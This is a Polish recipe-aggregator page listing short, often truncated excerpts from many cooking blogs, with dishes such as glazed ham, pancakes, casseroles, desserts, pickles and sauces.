wykonaną glazurą. Szynkę wkładamy do b rytfanki ( wysmarowanej tłuszczem) i całość na godzinę, bez przykrywki wkładamy do piekarnika, nagrzanego 180 stopni.  W tym czasie trzykrotnie łyżką podlewamy szynkę sosem z pieczenia, aby była równomiernie pokryta miodową glazurą. Następnie  nakrywamy brytfankę pokrywką i wyłączamy piekarnik  zostawiając szynkę w zamkniętym piekarniku na dalsze 30-40 minut ( dzięki temu pieczeń

Miód i pieprz
Ogórki duszone z miętą 156

ugotować w osolonej wodzie przez 5 minut i odcedzić. Z masła i mąki zrobić zasmażkę, zalać mlekiem, zagotować, odstawić, przyprawić do smaku i zaciągnąć śmietaną. Ugotowane ogórki zalać sosem , posypać drobno posiekaną miętą

Tradycyjna Kuchnia
Zapiekanka makaronowa 193

mrożone ważywa, smażymy, aż odparuje woda.  Jajka mieszamy ze śmietaną, dodajemy sól, pieprz do smaku.  W dużej misce   mieszamy ugotowany makaron z warzywami i wędliną. Polewamy sosem, mieszamy. Przekładamy do formy. Posypujemy startym żółtym serem. Zapiekamy 20 minut w temperaturze 180 °C. SMACZNEGO

magiczna kuchnia Kasi
Naleśniki Na Słono Ze Szpinkakiem 230

gustu.  • Naleśniki smarujemy ketchupem i majonezem na środek kładziemy farsz i po 2 plastry sera  • Naleśniki zawijamy i kładziemy do naczynia żaroodpornego  • Całość polewamy ketchupem lub sosem czosnkowym  • Na wierzch kładziemy po plastrze sera żółtego  • Pieczemy aż ser się rozpuści ok. 15 minut

Gotowanie Patki
Tym razem Paryż! 189

zwykle za pomocą kamery. A my trochę już przemoknięci, szczęśliwi i głodni. Przyszła pora coś zjeść. Nie znam zbytnio francuskiej kuchni, ale wiem, że pieczona pierś z kaczki z sosem z zielonego pieprzu to charakterystyczna francuska potrawa. Tak więc mój wybór był prosty. Czerwone wino do obiadu jak najbardziej, a na deser jak myślicie co jadłam? Oczywiście, że crepes zapalane

codojedzenia
Placki pełnoziarniste z bananem (Małpie placki) 221

jaja 4 łyżki oleju rzepakowego 2 szklanki kefiru lub maślanki 1 nieduży dojrzały banan 1 łyżka soku z cytryny 1 ½ łyżki kakao Dodatkowo jogurt waniliowy borówki lub jagody sos malinowy banany lub inne owoce do podania Suche składniki (mąkę, proszek do pieczenia, sodę, cukier puder, sól) wymieszać razem. Jajka roztrzepać z kefirem, połączyć z olejem. Banana rozgnieść z sokiem cytrynowym

Pełny talerz
Słodko-kwaśne udka z kurczaka z miodem 292

piekarnika rozgrzanego do 180 stopni i pieczemy/dusimy przez ok. 60 minut do miękkości mięsa. Na ostatnie 15-20 minut zdejmujemy przykrycie brytfanny. Podajemy na ciepło z ryżem basmati i sosem z pieczenia. Uwagi Jeżeli śliwki nie są zbyt słodkie, albo wręcz lekko kwaśne, dla zrównoważenia smaków dodajmy jedną łyżkę miodu więcej lub pomińmy sok z cytryny. Przez Krystian Kulinarna Pokusa

Kulinarna Pokusa
Mleczny ryż z karmelizowanymi śliwkami 187

garnku roztopić masło. Dodać miód, wymieszać i dorzucić śliwki. Smażyć je na małym ogniu aż zmiękną (ale się nie rozpadną) i nabiorą lśniącej powłoki a powstały na dnie sos zgęstnieje. Oprószyć śliwki szczyptą cynamonu i dolać soku z pomarańczy. Jeszcze chwilę smażyć i podawać ciepłe z ryżem. Mleczny ryż możecie podać podobnie jak ja - przekładając go na przemian ze śliwkami

My simple kitchen
Panna cotta 210

całą noc w lodówce. By wyjąć deser z foremek/filiżanek zanurzamy je przez kilka sekund w gorącej wodzie po czym obracamy do góry dnem. Podajemy ze świeżymi owocami i sosem owocowym. Smacznego

Smakowity Blog Kulinarny
Karkówka w ketchupie 227

pieczenia nie zajmuje dużo czasu, a gdy się piecze mamy czas na zrobienie np. surówki.  Polecam również: Karkówkę z pieczarkami i cebulą  lub Karkówkę w sosie słodko-kwaśnym Składniki: 1 kg karkówki 1 szklanka dobrego ketchupu (z jak najkrótszą listą składników) 3 łyżki przecieru lub koncentratu pomidorowego 2 - 3 cebule 2 - 3 ząbki czosnku 1 łyżka majeranku sól

Kuchcik gotuje
Spaghetti z bakłażanem i orzechami 225

doprawiamy je bazylią i oregano oraz pieprzem i solą do smaku. Wszystkie składniki i smaki łączymy ze sobą na patelni.  6. Ugotowany makaron nakładamy na talerze i polewamy sosem z warzywami, dekorujemy świeżą bazylią i wcinamy, a później bierzemy dokładeczkę :) Smacznego! Maugo&Paszko

Bananowe Pole
Przepyszny sernik na spodzie brownie z musem śliwkowym - przepis 185

stopniach w piekarniku. Przepyszny sernik na spodzie brownie z musem śliwkowym - przepis Gdy spód się piecze na patelni dusimy śliwki z cukrem i odrobiną wody aż zmiękną a sos zgęstnieje. Ser miksujemy z mlekiem skondensowanym dodając po jednym jajku. Gdy spód (brownie) się upiecze wylewamy powoli masę serową. Na ser wykładamy delikatnie łyżką duszone śliwki. Przepyszny sernik na spodzie brownie

Pyza i Surówka
Curry z kurczaka z warzywami na ostro 224

kurczakiem i warzywami to pomysł na szybki obiad w orientalnym stylu. Łatwe danie, bez specjalnego nakładu pracy, a efekt imponujący. Rozpływajace się w ustach kawałki kurczaka w aromatycznym sosie na bazie mleka kokosowego są wyjatkowo pyszne. Do curry możesz dodać ulubione warzywa, u mnie papryka i cukinia, to co akurat miałam na stanie. Ilośc kombinacji nieograniczona. Polecam! Składniki: 2 piersi

Gotuj zdrowo!Guten Appetit!
Domowy koncentrat bulionu warzywnego 256

ostygnięcia i umieszczamy w lodówce. Tak przygotowany koncentrat możemy przechowywać w lodówce przez kilka miesięcy.  !!! Stosujemy 1 czubatą łyżeczkę na 500g wody. Świetnie sprawdza się w zupach i sosach. Sól pełni tutaj rolę środka konserwującego, stosując koncentrat wedle zasady, po wymieszaniu z wodą bulion nie będzie za słony.  Smacznego

Be Fit Be Strong
Pulpety z indyka z pieczarkami 164

lekkim zaokrągleniu kształtów wrzucałam na wrzącą wodę Do wody dołożyłam liść laurowy, kilka ziaren pieprzu i sól Gotowałam około 5 min. Do takich pulpetów można zrobić szybki sos pomidorowy

Proste Potrawy
Sałatka z ogórków kiszonych, nektarynek i selera 194

seler naciowy -2 łyżki oliwy z oliwek – 1 łyżeczkę octu balsamicznego – 1 łyżeczkę musztardę z ziarnami gorczycy – 1 garść pistacji Przygotowanie sałatki zacznijcie od przygotowania sosu do sałatki – wymieszajcie oliwę, ocet oraz musztardę i odstawcie na bok. W tym czasie pokrójcie ogórki w równej wielkości plasterki. Nektarynkę przekrójcie na pół, usuńcie pestkę i pokrójcie owoc

Szybko Tanio Smacznie
dorsz pieczony z grejpfrutem 277

następnie usuwamy nożem wszystkie białe, gorzkie części i wykrawamy sam miąższ. Rybie roladki wyciągamy z piekarnika. Na talerze układamy cząstki grejpfruta, obok układamy dorszowe roladki a następnie polewamy je sosem z granatu i chilli. Podajemy razem z ryżem, białym lub brązowym, albo z innymi ulubionymi dodatkami

Miód i pieprz
Nuggetsy z kurczaka light - pieczone w maślankowej marynacie 245

lodówki na kilka godzin. Płatki pokruszyć i panierować mięso, ułożyć na blaszce wyłożonej papierem do pieczenia. Zapiec w piekarniku w temperaturze 180 stopni przez 30 minut. Podawać z dowolnym sosem lub sezonową sałatką

Tradycyjna Kuchnia
Pieczony jogurt z musem malinowym 154

sobą łączymy, delikatnie mieszając. Przekładamy do kokilek. Pieczemy w temperaturze 180C około 40-45 minut. W trakcie pieczenia wrzucamy owoce do rondelka podgrzać. Gotowy jogurt polewać wciąż gorącym sosem. W trakcie pieczenia starać się nie otwierać piekarnika gdyż jogurt może opaść

Jedz zdrowo żyj zdrowo!
NALEŚNIKI Z WARZYWAMI Z PARY I BOROWIKAMI 239

dołączyły naleśniki z warzywami z pary z domieszką borowików. Prosty i smaczny sposób na wyśmienity lunch, obiad czy kolację. Najlepiej smakują odsmażane na masełku jak również na zimno z sosem czosnkowym. Zapraszam do kuchni :-)  Składniki:   10 naleśników -   PRZEPIS TU 3 marchewki  2 pietruszki  1 mały seler  1 mała cukinia  garść pokrojonych borowików (mogą

pieprzny smaczek
Owsianko-manna 215

Owsianko-manna, czyli zapomniany smak powraca do łask. do przodu.   owsianko-manna z orzeszkami w sosie karmelowym Przepis: własny / 1 porcja / składniki:  30 g płatków owsianych górskich 20 g kaszy mannej 300 ml płynów (np. mleko i woda pół na pół) W szklance płynów gotować pod przykryciem około 10-15 minut płatki owsiane, co jakiś czas mieszając. Kaszę

tost z dżemem
Schab pod pierzynką ze szpinaku i żółtego sera 209

MOJEJ CÓRCI-I MUSZĘ WAM POWIEDZIEĆ ,ZE SPOKOJNIE MOŻNA TEN PRZEPIS WYKORZYSTAĆ DO  TEGO MIĘSA,BO BYŁO RÓWNIE DOBRE) ,PRZYPRAWIAMY ODROBINĘ PRZYPRAWĄ DO GIROSA ZALEWAMY MIĘSO NASZYM SOSEM I PIECZEMY W PIEKARNIKU ROZGRZANYM DO 180 STOPNI Z TERMOOBIEGIEM,LUB 200 BEZ TERMOOBIEGU OK 30MIN PO TYM CZASIE POSYPUJEMY STARKOWANYM SEREM I ZAPIEKAMY JESZCZE OK 10 MIN,ŻEBY SIĘ ZRUMIENIŁ

Swojskie jedzonko
Żeberka w ketchupie 237

ZĄBKI CZOSNKU  PRZYGOTOWANIE: ŻEBERKA KROIMY NA KAWAŁKI I GOTUJEMY W LEKKO OSOLONEJ WODZIE,OK 20 MIN OD ZAGOTOWANIA, NASTĘPNIE W MISCE MIESZAMY RESZTĘ SKŁADNIKÓW  I DO POWSTAŁEGO SOSU DAJMY UGOTOWANE WCZEŚNIEJ ŻEBERKA, ODSTAWIAMY NA KILKA GODZIN DO LODÓWKI,NAJLEPIEJ NA NOC PRZED PODANIEM PIECZEMY OK 30-40 MIN I GOTOWE!! PRAWDA,ŻE PROSTE? A UWIERZCIE

Swojskie jedzonko
Makaron z brokułami i kurczakiem 325

zagotuję i serek się rozpuści mięsko przyprawiamy przyprawą do kurczaka i smażymy na złoty kolor, potem już zostaje nam tylko połączyć wszystko ze sobą -czyli makaron ,brokuły,mięsko i sos i gotowe... smacznego

Swojskie jedzonko
SAŁATKA Z TORTELINI,OGÓRKA I SZYNKI 629

PROSTA DO ZROBIENIA TYLKO 3 SKŁADNIKI+SOS A SZCZEGÓLNIE FAJNA TERAZ W SEZONIE JAK MAMY PYSZNE ZIELONE OGÓRKI IDEALNA NA PRZYJĘCIE JAK I NA CO DZIEŃ SKŁADNIKI: OGÓREK ZIELONY DŁUGI 25 DAG SZYNKI KONSERWOWEJ PIEROŻKI TORTELINI NAJLEPIEJ Z PIECZARKAMI LUB SEREM 4-5 ŁYŻEK MAJONEZU 2 ŁYŻKI ŚMIETANY 18% ZĄBEK CZOSNKU SÓL ,PIEPRZ (można dodać drobno posiekany koperek jak ktoś

Swojskie jedzonko
Lazania-prosta i elegancka na obiad 215

TANIE I PYSZNE,POZA SEZONEM NIE DAJE) CEBULA ULUBIONE PRZYPRAWY DO MIĘS ZIOŁA ŚWIERZE LUB SUSZONE(OREGANO,BAZYLIA TYMIANEK) SER ŻÓŁTY 40-45 dag -(ŚCIERAMY NA TARCE) SOS BESZAMELOWY : 4 ŁYŻKI MASŁA 3 ŁYŻKI MĄKI 800 ml MLEKA SÓL,PIEPRZ (MOŻNA TEŻ DOSTAĆ GOTOWY BESZAMEL W KARTONIKU W MARKECIE,ZAWSZE TO TROCHĘ MNIE J PRACY)    PRZYGOTOWANIE: PODSMAŻAMY POKROJONĄ

Swojskie jedzonko
SUSHI 167

NAPRAWDĘ NIE JEST TRUDNE,KUPIŁAM ZESTAW DO ROBIENIA SUSHI W TESCO (W ŚRODKU JEST RÓWNIEŻ ULOTKA JAK ROBIĆ)I DO TEGO DOKUPIŁAM TYLKO:-UDAŁO SIĘ -WĘDZONEGO ŁOSOSIA,AWOKADO,SOS SOJOWY,OGÓREK ,PAPRYKA,I PALUSZKI KRABOWE-I ZROBIŁAM NA KOLACJE DLA MOJEGO MĘŻA-JEST PYSZNE I NA PEWNO JESZCZE NIE RAZ BĘDĘ JE ROBIĆ... DO USŁYSZENIA

Swojskie jedzonko
Pizza ze szpinakiem 245

Ciasto na pizze zrobiłam wg starego przepisu . Placek smaruję sosem pomidorowym (pomidory uduszone z cebulka, czosnkiem, ziolami). Posypuję bazylią, oregano i solą. Szpinak posiekałam i podsmażyłam. Do szpinaku najlepiej pasuje smażony kurczak i kukurydza. Na wierzch posiekana cebula i oczywiście mnóstwo starego sera. Pieczemy 10-15 minut w temperaturze 200-220 stopni.   Przypominam świetny sprawdzony przepis na pizzę

prawdziwe jedzenie
Jesienne tiramisu: z figami 201

pozostałym kremem.  Schłodzić w lodówce. Przed podaniem udekorować świeżymi figami pokrojonymi w ósemki. Smacznego! Taki deser zafundowałam nam z okazji moich urodzin. C. przyrządził kaczkę z najlepszym grzybowym sosem; obiad mieliśmy jak w najlepszej restauracji.  Dziękuję

Pożeraczka, czyli raz adobrze
Zasmażana kapusta w kremowym sosie pomidorowym / Sautéed cabbage with creamy tomato sauce 285

razem mój wybór padł na kapustę zasmażaną z pomidorami, która jest niezwykle łatwa w przygotowaniu, a jednocześnie przepyszna. Polecam! Scroll down for recipe in English Zasmażana kapusta w kremowym sosie pomidorowym (6-7 porcji) Składniki: 1 kg kapusty, poszatkowanej 1 łyżka oleju 2 łyżki masła 1/2 szklanki mleka 2 łyżki mąki 2 łyżki koncentratu pomidorowego 1/2 szklanki śmietanki

karmelowy
Kurczę pieczone z warzywami 211

dość obficie winegretem. Posypałam tartym parmezanem. Zamknęłam pokrywę i ...do piekarnika! Na około godzinę. Po upływie tego czasu wyłożyłam na talerze. Mięso było mięciutkie, soczyste i aromatyczne. Całość ubogaciłam sosem  kebab-gyros łagodny Folwark Dzieci kochają go  do wszystkiego! Smacznego! Obiad gotowy

Z Kuchni Do Kuchni
Domowy przecier pomidorowy 190

pomidorów, których używam do sosów prawie nigdy nie zdejmuję skórki. Trochę z lenistwa, a trochę dlatego, że lubię pomidory właśnie takie. Przecier kojarzy mi się z pomidorową pulpą, w której trudno rozpoznać, że powstała z pomidorów. Ja za to mam dla Was prosty przepis na domowy przecier pomidorowy, który można zamknąć w słoikach na zimę, bez zbędnego przecierania przez sito

Pasja Smaku
Powidła śliwkowe z czekoladą do świątecznego piernika i nie tylko 197

owidła śliwkowe, niskosłodzone, znakomite do ciast, deserów, kanapek i mięsnych sosów. Powidła śliwkowe to także ważny składnik świątecznego piernika. W wersji podstawowej śliwki smażymy z cukrem, ale wystarczy do dojrzałych śliwek dodać gorzką czekoladę i cynamon żeby zupełnie zmienić ich oblicze. Nie wymagają długiego smażenia. Powidła śliwkowe z czekoladą znakomicie smakują na podpłomykach posypane nasionami chia. Czas przygotowania: Składniki

SzczyptaSmaQ
Krokiety ziemniaczane z parówką 184

Przepis na parówkę w bardzo smacznym wydaniu Świetnie smakuje w towarzystwie sosu czosnkowego lub pomidorowego. Składniki: 0,5 kg ziemniaków ok 3/4 szklanki mąki 3 łyżki mąki ziemniaczanej 2 jajka pół szklanki bułki tartej jajko do obtaczania 4-5 cienkich parówek sól, pieprz, papryka ostra Przygotowanie Ziemniaki obieramy, gotujemy w osolonej wodzie i odstawiamy do wystygnięcia. Następnie ziemniaki przeciskamy przez

e-PrzepisyKulinarne
Spaghetti Bolognese 170

wyśmienite i łatwe w wykonaniu . - SKŁAD - ✔ 500 g Mięsa Mielonego z Szynki ✔ 300 g Makaronu Pełnoziarnistego ✔ 2 Plasterki Seraka Topionego Light ✔ 1 Przecier Pomidorowy ✔ Marchewka ✔ Cebula ✔ 2 Ząbki Czosnku ✔ Sos Tabasco (opcjonalnie) - WARTOŚCI ODŻYWCZE - Kalorie 1950 Węglowodany

Sylwetka Od Kuchni
Makaron z boczkiem w sosie szpinakowo- serowym 196

jego gościom. Powinno być więc łatwe, szybkie w przygotowaniu i niezwykle smaczne- to danie spełnia te kryteria,więc nie zastanawiaj się ani minutki dłużej- do dzieła! Makaron z sosem szpinakowym z boczkiem i serem. Czytaj więcej » Ten i inne przepisy znajdziecie na stronie http://www.wielkiapetyt.blogspot.com

Wielki apetyt
Mleczne naleśniki w kolorowym wydaniu - "Mleczne śniadanie na rozpoczęcie roku szkolnego" 239

zblendować na gładkie puree. Dodać pozostałe składniki i zmiksować tak, aby nie było grudek. Smażyć na odrobinie oliwy. Nadzienie: 3/4 szklanki soczewicy czerwonej 1 puszka tuńczyka z w sosie własnym Princes 100 g twarogu półtłustego 1 cebula 2 średnie marchewki, starte na grubych oczkach 4 ząbki czosnku sól, pieprz, zioła prowansalskie pęczek szczypiorku Soczewicę gotować ok. 8 minut, odcedzić

FitKot
Schab pieczony w niskiej temperaturze 491

stopni, Schab jest delikatny, kruchy i soczysty. Mięso jest idealnie jako wędlina do kanapek, ale też świetnie nadaje się na obiad. Schab pokrojony w grubsze plastry podany z sosem pieczeniowym do ziemniaków i warzyw, będzie stanowić smakowite obiadowe danie! Polecam również szynkę pieczoną z sokiem pomarańczowym , schab pieczony z tymiankiem i czosnkiem , oraz schab pieczony z pieprzem i majerankiem . Składniki

Damsko-męskie spojrzenie na kuchnię
Polenta 218

tyle. Polenta gotowa! Przypomina swoją konsystencją tłuczone ziemniaki. W następnym poście pokażę Wam jak można podać polentę inaczej niż "jak tłuczone ziemniaki". W tej formie idealna jest do sosów grzybowych, wędlin typu salami Milano czy Ungherese. Smacznego

Z Kuchni Do Kuchni
Filet z Piersi Kurczaka z orzechami W Aksamitnym sosie z Karmelizowanymi Gruszkami 207

Gorgonzola – podpuszczkowy, miękki, dojrzewający niebieski ser pleśniowy pochodzący z północnych Włoch, z regionu Lombardia. Jego nazwa pochodzi od miejscowości Gorgonzola, gdzie produkowany jest od roku 879

Luźna Kuchnia
Potrawka z kurczaka (bez śmietany) 228

dodałam jej wcale. Smaku nie ujęło, a było troszkę bardziej dietetycznie :) Często też od razu w potrawce jest kasza lub makaron.. tym razem potraktowałam danie bardziej jako sos i ugotowałam osobno kaszę jęczmienną. Aj było pysznie... :) Ps. Pasuje tu każdy rodzaj kaszy, makaron, ziemniaki, ryż... Wedle własnych upodobań i aktualnej ochoty :) Składniki: filet z kurczaka 3-4 marchewki

Kolorowy Przepisownik
Lody rumowo-czekoladowe na mleku kokosowym 180

polewą rumową Składniki ( ok 1/2 litra lodów): 100 ml rumu puszka mleka kokosowego, nieodtłuszczonego  1/3 szklanki kakao 1/2 szklanki cukru trzcinowego 1/2 łyżeczki agaru (można zrezygnować jednak konsystencja sosu będzie inna) banan (opcjonalnie) Przygotowanie ( 20 minut przygotowania + 30 minut w maszynce do lodów + mrożenie): - rum wlewamy na patelnię i gotujemy  na średnim ogniu   z cukrem

Pora na pora i pomidora
Sznycle z indyka nadziane mięsem mielonym 153

Składniki 5 sznycli z indyka musztarda sarepska około 200 gr przyprawionego już mięsa mielonego ( u mnie też z indyka ) sól i pieprz świeżo zmielony mąka tortowa do obtoczenia do sosu śmietanka 30 % oraz mąka tortowa kawałek cebulki korzeń pietruszki Mięso rozbijamy, oprószamy solą i pieprzem, smarujemy musztardą, a następnie nakładamy bryłkę mięsa mielonego, które wcześniej przyprawiliśmy ( u mnie to było

Gotowanie...to proste !
Hot wings a'la KFC (smażone skrzydełka z kurczaka) 219

Smażyć około 10-15 minut na rozgrzanym oleju. Skrzydełka muszą uzyskać złoty kolor i powinny "wynurzyć się" z tłuszczu. Usmażone kawałki kurczaka odsączyć z nadmiaru tłuszczu. Podawać z ulubionym sosem, np. pomidorowym lub czosnkowym. Rady: - skrzydełka smażyć na mocno rozgrzanym oleju; na średnim ogniu, - możecie przygotować je dzień wcześniej, a przed podaniem podgrzać w piekarniku, - mięso trzeba dosyć mocno przyprawić

Ugotować
Deser TRIO z twarożku 181

twarogiem. Żelatynę namoczyć w zimnej wodzie. Mleko lekko podgrzać z kakao i resztą cukru, rozpuścić w nim połowę żelatyny. Masę serową podzielić na dwie porcję.. Jedna wymieszać sosem kakaowym, przełożyć do szklanek i włożyć do lodówki. Truskawki oczyścić, umyć i zmiksować, Drugą część żelatyny rozpuścić i wymieszać z masa truskawkową, Połączyć z druga porcją masy twarożkowej i ubitą śmietaną

Camilla w kuchni
Mleczne śniadanie na rozpoczęcie roku szkolnego - zupa jogurtowa z pęczakiem, sałatką owocową, prażonymi migdałami i magicznym p 197

przypraw.  Sałatka powinna być dostosowana do sezonu, żeby w pełni wykorzystać krajowe dojrzałe owoce i warzywa. Zobacz także przepis na mleczne śniadanie dobrze nadziane serem z sosem jogurtowym . Porcje: 2 Czas przygotowania: 25 minut Składniki: Zupa 250 g jogurtu (gęstego i tłustego), 100 g kaszy jęczmiennej, 700 ml wody, 1 jajko, 2 łyżeczki brązowego cukru nieratyfikowanego

SzczyptaSmaQ
Ogórki konserwowe - pyszne, chrupiące 218

Warto zrobić chociaż kilka słoików ogórków konserwowych, właśnie schyłek lata to najlepsza pora na ich przetwarzanie. Są niezastąpionym dodatkiem  tradycyjnej sałatki jarzynowej, sosu tatarskiego. Pracy przy nich niewiele, a w zimie jak znalazł. Kupuję również gotowe ogórki konserwowe, są naprawdę smaczne, a dodatek octu powoduje, iż informacja na etykiecie nie zaskakuje nas nieproszonymi dodatkami. Oprócz samodzielnie zamarynowanych kupuję również

Gotuj zdrowo!Guten Appetit!
Pieczona flądra. Nadziewane pieczone papryki. 227

stopni C. Pieczone papryki nadziewane: - papryki czerwone - szalotka - 2 łyżki masła - kuskus - kurkuma - 3 łyżki białego wina - imbir Na maśle zeszklij posiekaną szalotkę, dodaj białe wino i przyprawy. Niech sos się zredukuje. Podlej wodą. Dodaj kuskus. Masą napełnij wydrylowane papryki, na sam wierz, pod czapeczkę nałóż troszeczkę masła. Przykryj czapeczką z papryki. Pieczemy 25 min w nagrzanym piecu. Na blachę

SMYKWKUCHNI
Peperonata 208

zimno, kiedy doskwiera upał- choćby jako dodatek do popularnej bruschetta, zamiast pomidorów. Peperonata jest tak dobra, że w niektórych regionach Włoch , podaje się ją również jako sos-dodatek do makaronu czy polenty! Ile regionów, tyle przepisów na ta smaczną przystawkę. Ja przestawię najprostszy, ale za to pyszny i aromatyczny przepis. Krok po kroku. Składniki 1 kg papryki w sumie -pomiędzy

Z Kuchni Do Kuchni
Placki z cukinii i sera halloumi z salsą paprykową 215

jeszcze pyszniejsze. Placuszki podałam z salsą z pieczonej papryki doprawionej sokiem z cytryny i natką pietruszki, która świetnie się z nimi skomponowała. Alternatywnie możecie do nich zrobić sos tzatziki . Placuszki z cukinii możecie jeść na ciepło, jak i na zimno. Możecie je także zapakować do swoich lunch boksów i zabrać do pracy.   Placki z cukinii i sera halloumi

Chilli Czosnek i Oliwa
Błyskawiczna zapiekanka z makaronem i pieczarkami 820

plasterki. Por i pieczarki podsmażamy na patelni, następnie wlewamy do nich śmietanę i dusimy od czasu do czas mieszając, aż śmietana zgęstnieje. Dodajemy zioła. Ser ścieramy na tarce. Sos śmietanowy z pieczarkami łączymy z makaronem i połową sera żółtego. Przyprawiamy do smaku. Zapiekankę wkładamy do naczynia żaroodpornego i posypujemy resztą sera. Zapiekamy w temp 180 C około 20 minut

e-PrzepisyKulinarne
Deser kokosowy z Chia, gryką i owocami 162

prawie nie zawiera cukrów ani tłuszczy. To cenne źródło błonnika pokarmowego i flawonoidów spełniających rolę przeciwutleniaczy. Łuskę gryczaną można dodawać do koktajli , ciast, zagęszczać nią zupy i sosy. ROZWIŃ I CZYTAJ DALEJ

Smaczna Pyza
.1078. jesienny omlet i paczka 185

mnie szybko i jestem bardzo zadowolona z jej zawartości...Powiem, że wiedziałam tylko o dwóch produktach, a reszta była dla mnie miłą niespodzianką ;) Co dokładnie znalazłam w paczce? wegański sos czekoladowy , mąka kukurydziana , fasolka pinto , pestki dyni w ksylitolu i cynamonie , cukier cynamonowy , guma guar Wszystkie powyższe oraz wiele innych ciekawych produktów znajdziecie na naturalnaspizarnia.pl . Sklep jest na prawdę świetnie

breakfast of dreams
Surówka z kalarepy 240

Chrupiąca kalarepa z marchewką i czosnkowym sosem to smaczna surówka do obiadu. Mało kaloryczna, więc można jeść bez wyrzutów :) 3 kalarepy 1 marchewka 1 łyżka soku z cytryny 1 1/2 szklanki jogurtu naturalnego 2 ząbki czosnku koperek sól pieprz czarny Kalarepy obrać i zetrzeć na tarce jarzynowej. Zasypać 1 łyżeczką soli i wymieszać. Odstawić na 15-20min. Kiedy kalarepa

https:KKuchniaMniam
Piątkowe Inspiracje - sałatka z tuńczykiem 174

bardzo też przez niego polubiona) - druga z dodatkiem majonezu i jajka. Obie bardzo nam posmakowały, Wy również spróbujcie! :)  2 torebki ryżu typu parboiled 1 puszka tuńczyka w sosie własnym 1 duży ogórek 1 ugotowane jajko szczypiorek majonez (opcjonalnie) sól pieprz Ryż ugotować i ostudzić. Do ryżu dodać tuńczyka, pokrojony ogórek i szczypiorek, sól, pieprz i wszystko wymieszać (możemy dodać

Wilczkowy Świat - nasze codzienne gotowanie
Malinowa manna 218

Uwielbiam kaszę mannę gotowaną na gęsto z mnóstwem wanilii, do tego słodki owocowy sos i pyszne śniadanie gotowe. Tym razem pokusiłam się o dodanie owoców do środka i to był strzał w dziesiątkę. Całość jest słodko, kwaśna, mocno malinowa i ma cudny różowy kolor :) Pycha! SKŁADNIKI (4 małe kokilki) 1 szklanka malin 1 szklanka mleka lub ulubionego mleka roślinnego

DefinicjaSmaku
Placki ziemniaczane z cukinią 190

zbyt rzadka dodać mąkę. Na patelni rozgrzać olej i smażyć placki nakładając je za pomocą dużej łyżki. Po usmażeniu odsączyć na ręczniku papierowym. Podawać ze śmietaną , jogurtem lub ulubionym sosem. placki ziemniaczane z cukinią

O kuchni z uczuciem
z suszonym koprem ze świeżych pomidorów klopsikowa zupa... 158

gotować z 3 minuty dodanie suszonego kopru takiego jak do kiszonych ogórków nadaje zupie wyśmienity smak i aromat, pasuje również do barszczu, żurku, ogórkowej i do wielu innych potraw: sosy, gulasze, gołąbki, zawsze mam sporą ilość tego kopru w zapasie na zimę zupa jest smaczna, syta, można podać ze śmietaną.................SMACZNEGO

W Mojej Kuchni Lubię
Klopsiki z cukinii i soczewicy 194

Klopsiki z cukinii przyrządzam różnie, jednak zawsze odcedzam cukinię z nadmiaru wody. Klopsiki są lekko chrupiące z wierzchu, a w środku mięciutkie. Delikatne w smaku idealnie pasują do ostrzejszych sosów. Podaję je z zieloną sałatką, couscous, quinoa lub w bułce. Klopsiki z cukinii i soczewicy Składniki: 180 g czerwonej drobnej soczewicy 1 mała cukinia 2 dymki, drobno pokrojone

codojedzenia
Naleśniki z czernicami 222

mleka 2 jajka 1/2 szklanki wody mineralnej lub przegotowanej 1/2 łyżeczki soli 150g mąki olej do smażenia Farsz: 250g sera białego 1 żółtko 2 łyżki cukru z prawdziwą wanilią Sos: 150g czernic 60ml słodkiej śmietanki 2 łyżki cukru pudru Sposób przygotowania: Składniki na ciasto miksujemy ze sobą i pozostawiamy na ok 30 minut. Po tym czasie na rozgrzanym tłuszczu smażymy

Kuchnia w czekoladzie
Gołąbki z kapusty włoskiej , mięsa i pieczarek . 217

łyżki masła  . 20 dag pieczarek umyć i pokroić w  pół plasterki. Usmażyć. Do garnka wlać leczo paprykowe , dodać pieczarki i przyprawić do smaku. Gołąbki podawać polane sosem leczowym. Smacznego

Sama słodycz i szczypta chili
Kwiaty cukinii w cieście piwnym 142

ogrodzie znalazłam. Jeszcze ciasto piwne po kurczaku zostało. Nic się zmarnować nie mogło, więc zjedliśmy dzisiaj na kolację pyszne kwiaty cukinii w cieście piwnym. Można podać do nich ulubiony sos bądź dip. Smacznego! Składniki : * 8 - 10 kwiatów cukinii * 2 szklanki mąki * pół szklanki piwa jasnego * 2 jajka * sól, pieprz * olej rzepakowy do smażenia  Przygotowanie : Kwiaty cukinii umyć i delikatnie

Magiczne Życie Marty
Kopytka dyniowe z bakaliami- na słodko 203

kopytka muszą być podane w wersji wytrawnej i tylko na obiad? ;) Można z nich również przygotować wersję deserową i podać np. z bakaliami, polać syropem czekoladowym lub kremowym sosem waniliowym, oprószyć aromatycznymi przyprawami typu cynamon czy gałka muszkatołowa. Do dzisiejszego, słodkiego wydania wykorzystałam  kopytka dyniowe , które zostały podsmażone na klarowanym maśle i polane miodowo-orzechowym dressingiem (podobnym

Kraina Miodem Płynąca
Pieczarki duszone z czosnkiem i chili 289

minut, do miękkości grzybów, czasami mieszając. Na kilka minut przed końcem duszenia dodajemy również sok z cytryny i posiekaną pietruszkę. Na sam koniec odparowujemy z garnka nadmiar płynu, aby sos stał się gęsty. Podajemy na ciepło jako dodatek lub samodzielnie – w tym ostatnim wypadku najlepiej z mieszanym pieczywem z ziarnami typu nasiona dyni lub słonecznika. Przez Krystian Zainspirowany przez Podróże

Kulinarna Pokusa
Ogórkowa przystawka z serem feta 184

czosnku rozetrzeć na miazgę, cytrynę dobrze umyć, odkroić 2-3 plasterki do dekoracji, a z reszty wycisnąć sok i połączyć z czosnkiem, na talerzu ułożyć ser i ogórki, polać sosem, posypać natką i udekorować

Camilla w kuchni
.1076. owsianka 165

owsianka na mleku kokosowo-ryżowym z brzoskwinią (w środku) i sosem orzechowo-kakaowym*~ *masło orzechowe + mleko + kakao

breakfast of dreams
Mus z Jeżyn 164

cieszy się z tego co ma, Nie zaprzątam sobie głowy tym czego nie mam. A ja mam jeżyny, więc tragedii nie ma. Będę działać zimą jeżynami. Pamiętacie mój ulubiony sos do pizzy albo do wątróbki? Ten z octem balsamicznym i musem malinowym? W tym roku będę jadła z musem jeżynowym. Będę kombinować tym co mam, bo malin

Blondynka Gotuje
PASSATA POMIDOROWA Z BAZYLIĄ- PYSZNA I ŁATWA 150

